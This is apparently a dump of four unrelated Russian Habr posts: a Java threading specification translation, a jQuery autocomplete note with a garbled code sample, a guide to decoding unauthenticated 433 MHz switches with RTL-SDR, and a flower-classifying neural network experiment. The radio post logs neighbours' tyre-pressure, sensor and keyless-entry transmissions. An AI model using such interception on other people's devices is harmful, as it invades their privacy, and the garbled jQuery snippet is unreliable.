Язык программирования Java представляет множество механизмов для взаимодействия между тредами. Самые основополагающие из них — это методы синхронизации (synchronization), которая осуществляется с использованием мониторов (monitors). Каждый объект в Java ассоциируется с монитором, который тред может захватить или отпустить (lock/unlock). Одновременно, только один тред может держать монитор. Любые другие треды при попытке захватить этот монитор блокируются, пока они не смогут захватить его. Тред **t** может блокировать конкретный монитор множество раз; когда монитор отпускается (unlock), отменяется эффект одной операции блокировки (lock).
Оператор synchronized ([§14.19](https://docs.oracle.com/javase/specs/jls/se8/html/jls-14.html#jls-14.19)) вычисляет ссылку на объект, а потом он пытается выполнить захват (lock) монитора этого объекта и дальше ничего не происходит, пока захват не выполнен успешно. После успешного захвата (lock) выполняется тело synchronized оператора. Если тело synchronized оператора выполнено полностью или в сокращенном варианте, то этот монитор автоматически отпускается (unlock).
Синхронизированный метод ([§8.4.3.6](https://docs.oracle.com/javase/specs/jls/se8/html/jls-8.html#jls-8.4.3.6)) автоматически выполняет захват (lock) при вызове, его тело не исполняется, пока захват (lock) успешно не выполнен. Если мы имеем дело с методом экземпляра, тогда он захватывает монитор, связанный с экземпляром, для которого был вызван (то есть объектом, который будет известен как this в течение выполнения тела метода). Если метод статический (static), он захватывает монитор, связанный с объектом Class, который представляет класс, в котором определен метод. Если выполнение тела метода завершено полностью или в сокращенном варианте, этот монитор автоматически отпускается.
Язык программирования Java не предотвращает и не требует определения взаимоблокировки (deadlock) условий. Программы, где треды держат (прямо или косвенно) захват на множестве объектов, должны использовать обычные приемы для избежания взаимоблокировки. Создавайте высокоуровневые блокирующиеся примитивы, у которых не бывает взаимоблокировок, если необходимо.
Остальные механизмы, такие как чтения и запись volatile переменных, и использование классов из пакета java.util.concurrent предоставляют альтернативные способы синхронизации.
[17.2 Набор ожиданий и уведомления (17.2. Wait Sets and Notification)](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html#jls-17.2)
Каждый объект, в дополнение к тому, что имеет ассоциацию с монитором, так же связан с набором ожиданий (Wait Sets). Набор ожиданий — представляет собой набор тредов.
Когда объект впервые создается, его набор ожиданий пуст. Элементарные действия, которые добавляют или удаляют треды в/из набор ожиданий атомарны. Набор ожиданий управляется исключительно через методы *Object.wait*, *Object.notify*, and *Object.notifyAll*.
На манипуляции с набором ожиданий так же могут повлиять статическое прерывание треда и методов класса [Thread](https://docs.oracle.com/javase/8/docs/api/java/lang/Thread.html) связанные с прерыванием (interruption). Кроме того методы класса [Thread](https://docs.oracle.com/javase/8/docs/api/java/lang/Thread.html) для *sleeping* и *joining* других тредов имеют свойства, полученные от свойств действий методов *wait* and *notification*.
[17.2.1. Ожидание (17.2.1. Wait)](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html#jls-17.2.1)
Действие ожидание происходит при вызове метода *wait()* или с временными сигнатурами *wait(long millisecs)* and *wait(long millisecs, int nanosecs)*.
Вызов *wait(long millisecs)* с параметром ноль или вызов *wait(long millisecs, int nanosecs)* с двумя параметрами указанными равным нулю эквиваленты вызову *wait()*.
Тред возвращается и ожидания, если он не выпросил исключение *InterruptedException*.
Предположим, тред **t** выполняет метод *wait* на объекте **m**, и, пусть, **n** будет число блокирующихся действий по **t** на **m**, которые не были сопоставлены с разблокирующимися действиями. Произойдет одно из следующий действий:
* Если **n** ноль (т.е. тред **t** еще не захватил блокировку (lock) на целевой **m**-объект), тогда будет выброшено исключение *IllegalMonitorStateException*.
* Если этот *wait* с заданой временной сигнатурой *nanosecs*-аргумент не в диапозоне *0-999999* или *millisecs*-аргумент задан негативным числом,, тогда будет выброшено исключение *IllegalArgumentException*
* Если тред **t** прерывается, тогда будет выброшено исключение *InterruptedException* и состояние прерывания (interruption status) **t** устанавливается в false.
* В противном случае имеет место следующая последовательность.
1. Тред **t** добавляется в набор ожидания объекта **m**, и выполняет **n** разблокировок (unlock) на M.
2. Тред **t** не выполняет больше никаких инструкций, пока не будет удален из набора ожиданий объекта **m**. Тред может быть удален из набора ожидания по любой из следующих причин и будет восстановлен когда-нибудь позже:
+ Действие *notify* было выполнено на **m**, в котором **t** выбран для удаления из набора ожиданий.
+ Действие *notifyAll* выполнено на **m**.
+ Действие *interrupt* выполнено на **t**.
+ Если *wait* с заданой временной сигнатурой, внутренние действие удаляющие **t** из набора ожиданий **m**, которое происходит после, по крайней мере *millisecs* плюс *nanosecs* после начала этого действия ожидания.
+ Внутреннее действие путем реализации. Реализация разрешена, хотя и не желательна, чтобы выполнить «ложные активации (spurious wake-ups)», то есть удалить тред из набора ожиданий и таким образом позволить возобновить действия без дополнительных инструкций для этого.
*Обратите внимание, что это положение требует практики кодирования на Java, при использовании *wait* только внутри циклов, которые заканчиваются только по логическом условии, что тред удерживает блокировку.*
Каждый тред обязан определить порядок событий, которые могут вызывать его (т.е. этого треда) удаления из набора ожиданий. Этот порядок не должен быть консистентный с другими упорядочиваниями, но тред должен вести себя так, как будто эти события произошли в этом порядке.
Например, если тред **t** в наборе ожиданий для **m**, а потом происходит и прерывание **t** и уведомление. Эти события должны происходить в некотором порядке. Если предположим, что сначало произошло прерывание, тогда **t** в итоге возвращается из *wait* с выбросом исключения *InterruptedException* и некоторые другие потоки в наборе ожиданий **m** (если они существуют в момент уведомления) должны получить уведомление. Если предположим, что сначало произошло уведомление, тогда **t** обычным порядком, в конце концов, вернется из *wait* при этом прерывание будет в режиме ожидания.
3. Тред **t** выполнить **n** блокировок на **m**.
4. Если тред **t** был удален из набора ожиданий **m** на шаге 2 в связи с прерыванием, тогда статус прерывания **t** устанавливается в false и *wait*-метод просит *InterruptedException*.
[17.2.2. Уведомление (17.2.2. Notification)](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html#jls-17.2.2)
Уведомление (notification) происходит при вызове метода *notify* and *notifyAll*.
Давайте представим, что тред **t** будет использовать любой из этих методов на объекте **m**, и пусть **n** будет число захвата блокировок на **t** по **m**, которому не соответствовали количество выполнения действий отпуска монитора (unlock).
Произойдет одно из следующих действий:
* Если **n** равно нулю, то будет брошено *IllegalMonitorStateException*.
Это случай, когда тред **t** уже не обладает блокировкой для целевого **m**-объекта.
* Если **n** больше нуля и это *notify* действие, тогда, если набор ожиданий **m** не пуст, выбирается тред **u** являющийся членом текущего набора ожиданий **m** и его удаляют из набора ожиданий.
Нет гарантии, какой тред из набора ожиданий будет выбран. Удаление треда **u** из набора ожиданий возобновляет **u** в wait-действие. Заметьте, однако, что действие захвата **u**, при возобновление, будет осуществляться спустя некоторое время после того как **t** полностью разблокирует монитор для **m**.
* Если **n** больше нуля и выполняется *notifyAll* действие, тогда все треды удаляются из набора ожиданий **m** и таким образом возобновляются.
Заметте, однако, что, одновременно, только один из них захватит требуемый монитор вовремя возобновления wait.
[17.2.3. Прерывания (17.2.3. Interruptions)](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html#jls-17.2.3)
Прерывания (Interruptions) происходят при вызове *Thread.interrupt*, а также методы, предназначенные в свою очередь для вызова, такие как *ThreadGroup.interrupt*.
Пусть **t** будет вызывать **u.interrupt**, для некого треда **u**, где **t** и **u** могут быть одинаковыми. Эти действия выставляют статус прерывания **u** в true.
Дополнительно, если существует какой-то объект **m** чей набор ожиданий содержит **u**, тогда **u** удаляется из набора ожиданий **m**. Это включает **u** для возобновления в wait-действие, в этом случае, после повторного захвата монитора **m** будет брошено исключение *InterruptedException*.
Вызовы *Thread.isInterrupted* могут определить статусы прерывания тредов. Статический метод *Thread.interrupted* может быть вызван в треде для наблюдения и очистки его собственного статуса прерывания.
[17.2.4. Взаимодействие Ожиданий, Уведомления, and Прерывания (17.2.4. Interactions of Waits, Notification, and Interruption)](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html#jls-17.2.4)
Упомянутые выше спецификации позволяют нам определить некоторые свойства связанные с взаимодействие ожиданий, уведомлений и прерываний.
Если тред уведомлен и прерван в течение ожидания, он может либо:
* Вернуться нормально в ожидание, все еще находясь в режиме ожидания прерывания (другими словами вызов *Thread.interrupted* вернет true)
* Вернется из ожидания с выбросом исключения *InterruptedException*
Тред может не сбросить этот статсу-прерывания и вернуться нормально из вызова ожидания.
Аналогично, уведомления не могут быть потеряны из-за прерываний. Предположим, что набор **s** тредов в наборе ожиданий объекта **m**, а другой тред выполняет *notify* на **m**. Тогда либо:
* Как минимум один тред и **s** должен вернуться нормально и ожидания, или
* все треды из **s** должны выйти из и выбросить *InterruptedException*
Заметьте, что если тред и прерван, и разбужен через notify и что этот тред вернулся из ожидания бросив *InterruptedException*, тогда какой-либо другой тред в наборе ожиданий должен быть уведомлен.
[17.3. Спать и Уступать (17.3. Sleep and Yield)](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html#jls-17.3)
*Thread.sleep* переводит работающий тред в спящий режим (временное прекращение выполнения) на определенный срок в зависимости от точности таймеров (system timers) и планировщиков системы (schedulers). Тред не теряет контроль над мониторами и его действие возобновляется в зависимости от планирования и доступности процессоров на которых можно выполнять треды.
Важно упомянуть, что ни *Thread.sleep* ни *Thread.yield* не имеют никакой семантики синхронизации. В частности, компилятор не должен выполнять записи в кеш на регистры вне общий памяти до вызова *Thread.sleep* или *Thread.yield*, компилятор так же не должен перегружать значения регистров кеша после вызова *Thread.sleep* или *Thread.yield*.
*Например, следующий (не корректный) сегмент кода, предположим, что this.done не-volatile boolean поле.
```
while (!this.done)
Thread.sleep(1000);
```
Компилятор читает в кеш this.done только один раз, и после этого использует значения из кеша каждую итерацию цикла. Это значит, что цикл никогда не будет прекращен, даже, если другой тред измени значение this.done.*
В следующих частях будет представлено:
Часть 2) Memory Model;
Часть 3) Семантика final полей; Word Tearing на некоторых процессорах (х32); не атомарную поддержку *double* и *long*.
Спасибо за внимание!:) | https://habr.com/ru/post/358880/ | null | ru | null |
# jQuery Autocomplete: автозаполнение
**jQuery Autocomplete: автозаполнение**
*Если Вы пробовали что-то найти в [Google](http://google.ru), то наверняка знаете, что после ввода символа в текстовое поле появляется выпадающий список, который содержит десяток строк со словами, начальные символы которых совпадают с теми символами, что Вы уже успели ввести. Так работает Google Suggest. Почему бы не сделать так же на своем сайте? Ведь это удобно. К тому же с библиотекой jQuery это не так уж и сложно… © Gennady*
[Demo](http://jquery.bassistance.de/autocomplete/demo/)
Я предлагаю вам использовать версию autocomplete от bassistance т.к. в их последнеей (1.0) версии присутствует фикс от бага в котором ие не хотел выводить красивый выход селекта…
Скачать можно здесь: [Download](http://jquery.bassistance.de/autocomplete/jquery.autocomplete.zip)
Тестировалось в: Firefox 2, IE 6 & 7, Opera 9, Safari 3
Пример:
`"http://www.w3.org/TR/html4/loose.dtd">
/>
/>
API Reference: /> (try "C" or "E")`
Все эксемплы присутствуют в скрипте… да и для русских символов используйте мультибайтовые символы с хидерами.
Немного еще можно почитать: [здесь](http://www.linkexchanger.su/2008/39.html) | https://habr.com/ru/post/24364/ | null | ru | null |
# Используем беспроводной выключатель на 433МГц для управления ПК
Привет, ~~Geektimes~~ Habr.
У меня дома скопилось несколько беспроводных выключателей на 433МГц, стало интересно, можно ли их использовать для каких-либо задач, например для управления компьютером или для интегрирования в систему «умного дома».
Эти выключатели удобны своей дешевизной и стабильной работой, выглядят они примерно так:
Как это работает, и что с ними можно сделать (гусары молчать:), подробности под катом.
Теория
------
Скажу сразу — как работает такой выключатель, я не знаю, хотя и примерно догадываюсь. Значит нужно будет произвести небольшой reverse engineering.
Первым делом сигнал нужно принять, для чего используем многим уже известный RTL-SDR приемник, у радиолюбителей часто называемый просто «свисток». Этот девайс ценой всего в 10$ позволяет принимать радиосигналы в диапазоне примерно от 50 до 1250МГц, для нас то что нужно. Тема старая, но если кто не читал — [читайте](https://habr.com/post/149698/).
Делаем первый шаг анализа — внимательно смотрим на выключатель. Обнаруживаем что сзади на корпусе у него написано «Made in China» (кто бы мог подумать?) и, что более важно, указана частота 433МГц. Теперь можно подключить SDR-приемник, запустить SDR# и убедиться, что данные действительно передаются.
Симметрия сигнала на спектре подсказывает про наличие AM-модуляции. Кстати справа виден более слабый «чужой» сигнал — их тоже можно принимать и декодировать, про них будет подробнее сказано отдельно. Впрочем, вернемся к сигналу. Записываем его в формате обычного WAV и нажимаем кнопки на пульте — для примера я нажал кнопки ON и OFF на канале «1».
Открываем звуковой файл в любом аудиоредакторе, и воспользуемся для сравнения сигналов другим профессиональным инструментом аналитиков — программой Paint. Размещаем 2 сигнала c разных кнопок один над другим, чтобы увидеть разницу:
Нетрудно видеть, что мы имеем обычную битовую последовательность, отличие в которой как раз в одном бите, соответствующем кнопке ON или OFF. Пока кнопка нажата, выключатель просто циклически повторяет эту последовательность в эфир со скоростью 20 раз в секунду. Дешево и просто, даже если одна последовательность исказится при передаче, другая будет принята.
Из этого кстати можно сделать один важный вывод — сигналы таких выключателей (речь о дешевых моделях) передаются в эфир «как есть», без какой-либо аутентификации, защиты или шифрования. Такой выключатель или беспроводную розетку с таким выключателем не стоит использовать для каких-то ответственных функций, например для включения мощных обогревателей или тем более для открытия входной двери или гаража. Дело тут даже не в хакерах (шанс что кто-то будет взламывать мой дом беспроводным способом я оцениваю меньше чем шанс падения на мой дом МКС), а в том, что сосед может случайно купить такой же выключатель, и коды у них могут совпасть (впрочем на выключателе есть возможность выбора между 4 каналами). По моему опыту использования, 2-3 раза за год выключатель таки включался «сам», то ли помеха, то ли действительно принимался далекий сигнал от такой же модели.
Разумеется, это не относится к более сложным системам, таким как Lora или Philips Hue, там с шифрованием все впорядке.
Впрочем, вернемся к нашей задаче. Можно написать декодер таких сигналов самостоятельно, но к счастью, это уже сделали до нас, в проекте называемом «rtl\_433». Изначально программа была создана для Linux, Windows-версию можно скачать [по адресу](https://cognito.me.uk/computers/rtl_433-windows-binary-32-bit/) Linux версию можно скачать с [GitHub](https://github.com/merbanan/rtl_433).
Запускаем программу из командной строки: «rtl\_433.exe -F json»
Мы получили данные, осталось написать программу для их обработки.
Raspberry Pi
------------
Первое, что интересно рассмотреть, это Raspberry Pi. Для установки [rtl\_433](https://github.com/merbanan/rtl_433) на Raspbian распаковываем [архив](https://github.com/merbanan/rtl_433/archive/18.05.tar.gz) и выполняем следующие команды.
```
sudo apt-get install libtool libusb-1.0.0-dev librtlsdr-dev rtl-sdr build-essential autoconf cmake pkg-config
cd rtl_433/
autoreconf --install
./configure
make
make install
```
Вторым шагом, напишем программу которая будет получать эти данные, и в зависимости от них, выполнять нужные действия. Код на Python весьма несложный:
```
from __future__ import print_function
import os, sys, io
import json
import subprocess
print("RTLSDR listening started")
transmitter_name = "Waveman Switch Transmitter"
transmitter_channel = 1
proc = subprocess.Popen(["rtl_433 -F json"], stdout=subprocess.PIPE, shell=True)
while True:
try:
line = proc.stdout.readline().encode('ascii','ignore')
proc.poll()
data = json.loads(line)
print(data)
m,st,ch,btn= data['model'],data['state'],data['channel'],data['button']
if m==transmitter_name and ch==transmitter_channel and btn==1 and st=='on':
print("ON")
elif m==transmitter_name and ch==transmitter_channel and btn==1 and st=='off':
print("OFF")
except KeyboardInterrupt:
break
except:
pass
print("RTLSDR listening done")
```
Чтобы запустить код, нужно сохранить его в файле (например rtl\_listen.py) и запустить командой «python rtl\_listen.py».
Как можно видеть, программа запускает процесс с помощью subprocess.Popen и читает из него данные. Дальше все просто, код вполне читабельный, и внести изменения будет не сложно. В данном примере, при нажатии кнопки «1» выводится сообщение print(«ON»), вместо этого можно делать что-то другое, например, активировать пин GPIO, включать реле, посылать данные на сервер и пр. Перед использованием будет необходимо заодно поменять имя transmitter\_name на название той модели пульта, который будет использоваться.
Кстати, сам RTL-SDR-приемник по сравнению с Raspberry Pi выглядит так:
Windows
-------
К сожалению, под Windows 10 вышеприведенный код не заработал. Но как подсказал поиск на github, работает асинхронное чтение данных из отдельного потока. Почему так, выяснять было лень, просто приведу под спойлером работающий код.
**Исходный код**
```
from __future__ import print_function
import os, sys
import subprocess
import time
import threading
import Queue
import json
class AsynchronousFileReader(threading.Thread):
# Helper class to implement asynchronous reading
def __init__(self, fd, queue):
assert isinstance(queue, Queue.Queue)
assert callable(fd.readline)
threading.Thread.__init__(self)
self._fd = fd
self._queue = queue
def run(self):
# The body of the tread: read lines and put them on the queue.
for line in iter(self._fd.readline, ''):
self._queue.put(line)
def eof(self):
# Check whether there is no more content to expect
return not self.is_alive() and self._queue.empty()
def replace(string):
while ' ' in string:
string = string.replace(' ', ' ')
return string
def read_rtl_data():
process = subprocess.Popen(["rtl_433.exe", "-F", "json"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Launch the asynchronous readers of stdout and stderr.
stdout_queue = Queue.Queue()
stdout_reader = AsynchronousFileReader(process.stdout, stdout_queue)
stdout_reader.start()
stderr_queue = Queue.Queue()
stderr_reader = AsynchronousFileReader(process.stderr, stderr_queue)
stderr_reader.start()
transmitter_name = "Waveman Switch Transmitter"
transmitter_channel = 1
# Check the queues if we received some output
while not stdout_reader.eof() or not stderr_reader.eof():
# Show what we received from standard output.
while not stdout_queue.empty():
line = stdout_queue.get()
print("Line1:", repr(line))
data = json.loads(line)
# print("Data:", repr(line))
m,st,ch,btn= data['model'],data['state'],data['channel'],data['button']
if m==transmitter_name and ch==transmitter_channel and btn==1 and st=='on':
print("ON")
elif m==transmitter_name and ch==transmitter_channel and btn==1 and st=='off':
print("OFF")
# Show what we received from standard error.
while not stderr_queue.empty():
line = replace(stderr_queue.get())
print("Line2:", line)
# Sleep a bit before asking the readers again.
time.sleep(0.1)
stdout_reader.join()
stderr_reader.join()
# Close subprocess' file descriptors.
process.stdout.close()
process.stderr.close()
if __name__ == '__main__':
print("RTLSDR listening started")
read_rtl_data()
print("RTLSDR listening done")
```
С этим кодом мы можем использовать любые действия в обработчике, логика такая же как и в коде на Raspberry Pi.
**Пример**: допустим, у нас есть компьютер, выделенный под домашний кинотеатр, и мы хотим выключать его нажатием кнопки с пульта. Заменяем код 'print(«OFF»)' на
```
os.system('shutdown -s')
sys.exit(0)
```
После чего, компьютер будет выключаться по нажатию соответствующей кнопки. Разумеется, кроме «shutdown -s» можно использовать любую другую команду Windows, стоит лишь учитывать что команды будут посылаться многократно, пока кнопка пульта нажата, чтобы избежать такого дублирования, нужно усовершенствовать код.
Заключение
----------
Как можно видеть, все довольно-таки просто, и есть место для экспериментов. Наконец, небольшой бонус для тех кто дочитал до сюда. На 433МГц работает большое количество разных устройств, которые rtl\_433 может декодировать, можно просто оставить программу работать несколько часов, и посмотреть что «поймается». Под спойлером пример такого лога, записанного ранее:
**Лог**`2018-01-10 21:15:17 : Prologue sensor : 5 : 15
Channel: 1
Battery: OK
Button: 0
Temperature: 6.00 C
Humidity: 11 %
2018-01-10 21:15:28 : inFactory sensor
ID: 71
Temperature: 6.67 °C
Humidity: 99 %
2018-01-10 21:16:07 : Toyota : TPMS : 61511475 : 60e5006b : CRC
2018-01-10 21:20:33 : Prologue sensor : 5 : 15
Channel: 1
Battery: OK
Button: 0
Temperature: 6.00 C
Humidity: 11 %
: Waveman Switch Transmitter
id: A
channel: 2
button: 1
state: on
: Waveman Switch Transmitter
id: A
channel: 2
button: 1
state: on
: Waveman Switch Transmitter
id: A
channel: 2
button: 1
state: on
2018-01-10 21:21:21 : Akhan 100F14 remote keyless entry
ID (20bit): 0x41
Data (4bit): 0x4 (Mute)
: Waveman Switch Transmitter
id: A
channel: 2
button: 1
state: off
2018-01-10 21:32:31 : Ford : TPMS : 00268b1f : a34a0e : CHECKSUM
2018-01-10 21:32:32 : Ford : TPMS : 00268a5c : 9c440e : CHECKSUM
2018-01-10 21:32:37 : Ford : TPMS : 016dbfce : 99430e : CHECKSUM
2018-01-10 21:32:39 : Ford : TPMS : 002671a0 : 9c4a0e : CHECKSUM`
Есть интересные данные, например давление в шинах у соседского автомобиля (TPMS, tire-pressure monitoring system), или наружняя температура +6 с чьего-то датчика. Это позволяет например, выводить наружнюю температуру, если у соседей случайно окажется совместимая с этим протоколом метеостанция.
Всем удачных экспериментов.
**Disclaimer**: Очевидно, что использование SDR и цифровой обработки для чтения сигналов OOK-модуляции — это по сути, стрельба из пушки по воробьям. Возможно, на aliexpress существуют готовые приемники за 1-2$, которые делают то же самое, с меньшей ценой и меньшим энергопотреблением. Если кто знает такие модели, напишите в комментариях. | https://habr.com/ru/post/414285/ | null | ru | null |
# Цветы, муха и хорошо отрепетированное случайное машинное обучение
В [предыдущей серии](https://habrahabr.ru/post/338548/) я пытался сделать из мухи разумное существо. Коротко — не вышло. Муха упорно не хотела учиться.
Мухой была маленькая простая нейронная сеть, основанная на умножении матриц, сигмоиде и обратном распространении ошибки. Её учение состояло в распознавании фотографий с цветами.
Напомню, что внутри две сети — первая анализирует кусочки исходного изображения, а вторая работает с матрицей, сложенной из результатов работы первой сетки.
Обучение проходило кое-как, результата не было. Затем, оставив попытки обучения по уважительным причинам (как то — вечер субботы, ночь и утро воскресенья), я все же думал, что делать дальше. Какие-то возможные решения были намечены в конце первой статьи, с них и продолжил.
Вариант 1. Еще один промежуточный слой
--------------------------------------
Предполагалось, что если в муху добавить нейронов, то муха станет немного умнее. Добавление слоя делается просто — вместо
```
nn2 = NN([middleShape, (y.shape[1], middleShape[0]), y.shape])
```
пишем
```
nn2 = NN([middleShape, (40, middleShape[0]), (y.shape[1], 40), y.shape])
```
Слой добавился, процесс обучения и расчета стал ощутимо медленнее, но не лучше. Фактически результат вовсе не изменился, поэтому здесь не привожу.
Вариант 2. Использовать приближение к успеху как заготовку
----------------------------------------------------------
Идея была запоминать веса синапсов самого успешного результата обучения, и обучать сеть с этими весами, а не забивать случайными значениями, как обычно.
Синапсы в моей сетке — это содержимое атрибутов nn.net.syns и nn2.syns для первой и второй сеток соответственно. Результат оценивался количеством сделанных ошибок, т.е. числом неправильно классифицированных фотографий по всей выборке, включающей и цветы, и не цветы.
```
minFails = None
lastSyns = None
for epoch in range(100):
nn = ImgNN(firstShape, resultShape=middleShape, imageSize=imageSize)
nn2 = NN([middleShape, (y.shape[1], middleShape[0]), y.shape])
# цикл обучения
for f in fl:
i = readImage(f, imageSize)
nn.learn(i, yy, 2)
mid = nn.calc(i)
nn2.learn(mid, y, 1000)
nextSyns=None
fails = 0
failFiles = []
# цикл проверки результата
for f in all:
i = readImage(f, imageSize)
mid = nn.calc(i)
res = nn2.calc(mid)
delta = (y-res)
v = round(np.std(delta),3)
if v > 0.2 and f in fl: # неправильно - цветок отнесен к не-цветкам
fails += 1
failFiles.append(f)
elif v<0.2 and f in nofl: # неправильно - не-цветок отнесен к цветкам
fails +=1
failFiles.append(f)
```
Когда ошибок становится меньше, то текущее состояние сетки фиксирую, передаю на инициализацию:
```
nn = ImgNN(firstShape, resultShape=middleShape, imageSize=imageSize)
if not (lastSyns is None):
nn.net.syns = lastSyns
nn2 = NN([middleShape, (y.shape[1], middleShape[0]), y.shape])
# цикл обучения
# цикл проверки результата
if minFails == None or fails < minFails:
minFails = fails
lastSyns = nn.net.syns
```
Проверяем
**Лучший результат: 4 ошибки на попытке 25**`Epoch = 25
flowers\178.jpg res = [[ 0.64 0.89 0.65 0.87]] v = 0.619
flowers\179.jpg res = [[ 0.91 0.2 0.96 0.15]] v = 0.12
flowers\180.jpg res = [[ 0.95 0.1 0.95 0.1 ]] v = 0.074
flowers\182.jpg res = [[ 1. 0. 1. 0.]] v = 0.0
flowers\186-2.jpg res = [[ 0.98 0.05 0.98 0.04]] v = 0.032
flowers\186.jpg res = [[ 0.99 0.01 0.99 0.01]] v = 0.01
flowers\187.jpg res = [[ 0.83 0.48 0.81 0.5 ]] v = 0.335
flowers\190 (2).jpg res = [[ 1. 0. 1. 0.]] v = 0.001
flowers\190.jpg res = [[ 0.96 0.06 0.96 0.05]] v = 0.045
flowers\191.jpg res = [[ 0.97 0.01 0.96 0.01]] v = 0.022
flowers\195.jpg res = [[ 1. 0. 1. 0.]] v = 0.004
flowers\199.jpg res = [[ 0.91 0.16 0.9 0.16]] v = 0.127
flowers\2.jpg res = [[ 0.99 0.01 0.99 0.01]] v = 0.009
flowers\200.jpg res = [[ 0.99 0.01 1. 0.01]] v = 0.009
noflowers\032.jpg res = [[ 0.71 0.73 0.79 0.73]] v = 0.49
noflowers\085.jpg res = [[ 0.87 0.29 0.85 0.32]] v = 0.222
noflowers\088.jpg res = [[ 0.92 0.22 0.94 0.24]] v = 0.15
noflowers\122.JPG res = [[ 0.72 0.68 0.73 0.68]] v = 0.479
noflowers\123.jpg res = [[ 0.74 0.54 0.69 0.6 ]] v = 0.427
noflowers\173.jpg res = [[ 0.43 0.9 0.57 0.9 ]] v = 0.702
noflowers\202.jpg res = [[ 0.99 0. 0.98 0. ]] v = 0.008
noflowers\205.jpg res = [[ 0.34 0.92 0.57 0.81]] v = 0.711
noflowers\cutxml.jpg res = [[ 0.79 0.41 0.79 0.41]] v = 0.309
noflowers\Getaway.jpg res = [[ 0.75 0.65 0.76 0.65]] v = 0.449
noflowers\IMGP1800.JPG res = [[ 0.81 0.55 0.81 0.55]] v = 0.367
noflowers\trq-4.png res = [[ 0.52 0.81 0.54 0.83]] v = 0.644
dy = 1.407 dn = 4.958
fails = 4 ['flowers\\178.jpg', 'flowers\\187.jpg', 'noflowers\\088.jpg', 'noflowers\\202.jpg']
min = 4`
Сеть опять ничему не научилась. Что за глупая муха!
Хотя на самом деле сеть все-таки кое-чему научилась. Если посмотреть на отбракованные картинки, то видно, что сеть отнесла к цветам битую красную машину, усыпанную желтыми листьями. При некотором воображении ее действительно можно принять за цветок.
Вариант 3. И чему вас там только учат?
--------------------------------------
Следующей точкой воздействия стала цель обучения первой сети. Дело в том, что накопленную ошибку на входах второй сети не передать через выходы первой. Ну, как не передать… можно передать, но это еще программировать надо. И я поленился и стал обучать первую сеть на единичную матрицу:
```
yy = np.zeros(middleShape)
np.fill_diagonal(yy,1)
```
\begin{bmatrix}
1 & 0 & \cdots & 0\\
0 & 1 & \cdots & 0\\
\cdots & \cdots & \cdots & \cdots \\
0 & 0 &\cdots & 1
\end{bmatrix}
Выглядит это несколько искусственно, видимо, и в обучении мешает. Но какой должна быть матрица результата, я не знал. Игры с копированием синапсов навели меня на мысль, что неплохо бы целевую матрицу обучения  тоже копировать из успешной попытки, так постепенно приближаясь к наилучшему результату.
Однако была проблема — у меня не было *одного* образца. Первую сеть я обучаю на единичной матрице, давая на вход различные картинки. Для каждой из них дает некую матрицу значений на выходе. Какую же из полученных матриц я должен взять за образец?
Зная, что «настоящие герои всегда идут в обход», я просто не стал так делать, а взял для образца ту самую единичную матрицу. Но только добавил к ней небольшую случайную ошибку. И, если цикл был удачным, т.е. мы достигли следующего минимума ошибок, то последний образец будет следующим целевым результатом.
```
yy = np.zeros(middleShape)
np.fill_diagonal(yy,1)
minFails = None
lastYY = yy
nextYY = yy
...
for epoch in range(100):
...
for f in fl:
i = readImage(f, imageSize)
nn.learn(i, nextYY, 2)
mid = nn.calc(i)
nn2.learn(mid, y, 1000)
...
for f in all:
i = readImage(f, imageSize)
mid = nn.calc(i)
res = nn2.calc(mid)
...
if minFails == None or fails < minFails:
minFails = fails
lastYY = nextYY
else:
nextYY = lastYY +(np.random.random(yy.shape)-0.5)/10
```
Наверное, будь я математиком, вряд ли бы я стал использовать случайность в качестве инструмента обучения. Математик построил бы теорию, по которой обучение неизбежно приводит к ожидаемому результате через  ходов, нужно только посчитать интеграл по криволинейной поверхности в многомерном пространстве и взять от него производную по . Но я не математик и могу только опираться на мое нематематическое ожидание, что решение где-то есть и оно рядом.
**Лучший результат: 4 ошибки на попытке 79**`Epoch = 79
flowers\178.jpg res = [[ 0.5 0.13 0.52 0.12]] v = 0.309
flowers\179.jpg res = [[ 0.74 0.06 0.75 0.06]] v = 0.16
flowers\180.jpg res = [[ 0.76 0.07 0.75 0.07]] v = 0.155
flowers\182.jpg res = [[ 0.95 0.03 0.94 0.03]] v = 0.044
flowers\186-2.jpg res = [[ 0.7 0.1 0.71 0.09]] v = 0.193
flowers\186.jpg res = [[ 0.61 0.22 0.6 0.2 ]] v = 0.303
flowers\187.jpg res = [[ 0.45 0.13 0.45 0.13]] v = 0.341
flowers\190 (2).jpg res = [[ 0.84 0. 0.67 0.01]] v = 0.14
flowers\190.jpg res = [[ 0.96 0.06 0.94 0.08]] v = 0.061
flowers\191.jpg res = [[ 0.73 0.13 0.72 0.1 ]] v = 0.194
flowers\195.jpg res = [[ 0.85 0.03 0.88 0.03]] v = 0.08
flowers\199.jpg res = [[ 0.83 0.05 0.84 0.04]] v = 0.102
flowers\2.jpg res = [[ 0.81 0.06 0.81 0.06]] v = 0.125
flowers\200.jpg res = [[ 0.92 0.05 0.93 0.04]] v = 0.057
noflowers\032.jpg res = [[ 0.27 0.12 0.3 0.1 ]] v = 0.416
noflowers\085.jpg res = [[ 0.41 0.14 0.41 0.14]] v = 0.365
noflowers\088.jpg res = [[ 0.37 0.15 0.32 0.15]] v = 0.402
noflowers\122.JPG res = [[ 0.4 0.15 0.4 0.14]] v = 0.373
noflowers\123.jpg res = [[ 0.35 0.14 0.33 0.15]] v = 0.401
noflowers\173.jpg res = [[ 0.33 0.17 0.34 0.17]] v = 0.418
noflowers\202.jpg res = [[ 0.44 0.14 0.45 0.12]] v = 0.342
noflowers\205.jpg res = [[ 0.63 0.06 0.74 0.07]] v = 0.192
noflowers\cutxml.jpg res = [[ 0.52 0.13 0.45 0.13]] v = 0.323
noflowers\Getaway.jpg res = [[ 0.38 0.15 0.38 0.15]] v = 0.386
noflowers\IMGP1800.JPG res = [[ 0.4 0.15 0.4 0.14]] v = 0.371
noflowers\trq-4.png res = [[ 0.19 0.21 0.17 0.28]] v = 0.533
dy = 2.264 dn = 4.522
fails = 4 ['flowers\\178.jpg', 'flowers\\186.jpg', 'flowers\\187.jpg', 'noflowers\\205.jpg']
min = 4`
Здесь сеть посчитала, что белый разъем тоже вполне выглядит, как цветок.
